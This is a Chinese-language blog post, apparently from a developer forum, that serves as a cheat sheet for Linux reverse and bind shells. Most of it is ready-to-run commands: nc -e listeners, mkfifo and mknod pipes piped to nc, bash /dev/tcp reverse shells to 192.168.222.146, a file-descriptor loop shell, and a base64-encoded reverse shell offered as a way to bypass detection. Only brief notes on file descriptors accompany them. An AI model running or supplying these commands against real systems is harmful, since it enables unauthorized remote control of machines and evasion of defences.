Linux下的shell

NC反向shell

 1、查看shell类型

echo $SHELL

chsh -s 需要修改shell的类型

cat /etc/shells    查看存在哪些shell

然后反弹对应的shell(正向连接)

//被控制端
nc -lvvp 8989 -e /bin/bash
//控制端
nc 192.168.222.146(被控端ip) 8989

2、没有-e参数反弹shell

扩展了解标准文件描述符 0(输入) 、1(输出)、2(错误输出)的用法

Linux 文件描述符详解-腾讯云开发者社区-腾讯云

创建管道:

非root权限也可以

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.222.146 52010 > /tmp/f

root权限才可以

mknod backpipe p;nc 192.168.222.146 8978 0<backpipe | /bin/bash 1>backpipe 2> backpipe

Bash反弹shell

方法一:

被控端

bash -i >& /dev/tcp/192.168.222.146/34567 0>&1
bash -i > /dev/tcp/192.168.222.146/12345 0>&1 2>&1

&>与>&:都是将输出和报错输出到一个地方

0>&1:将标准输入作为标准输出给到远程地址,从而将输入的 权力给了192.168.222.146

2>&1:这里将错误作为输出,给到远程,这里就等于 >&

拓展:

/dev目录

/dev/tcp是Linux中的一个特殊设备,打开这个文件就相当发起了一个socket调用,建立一个socket连接

控制端

nc -lvvp 34567

方法二:

被控端

exec 5<>/dev/tcp/192.168.222.146/23456;cat <&5 | while read line; do $line 2>&5 >&5;done

控制端

nc -lvvp 23456

也可使用base64编码绕过:

bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xNDYvMzQ1NjcgMD4mMQ== | base64 -d| bash -i"

注意:这里监听端口尽量大一点(推荐大于10000),避免占用,方便连接到

github上有shell的集合,我在服务器上搭建了需要的可以使用Reverse Shell Generator

这是一个阉割版的,但感觉已经够用了。下面是完整改版PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值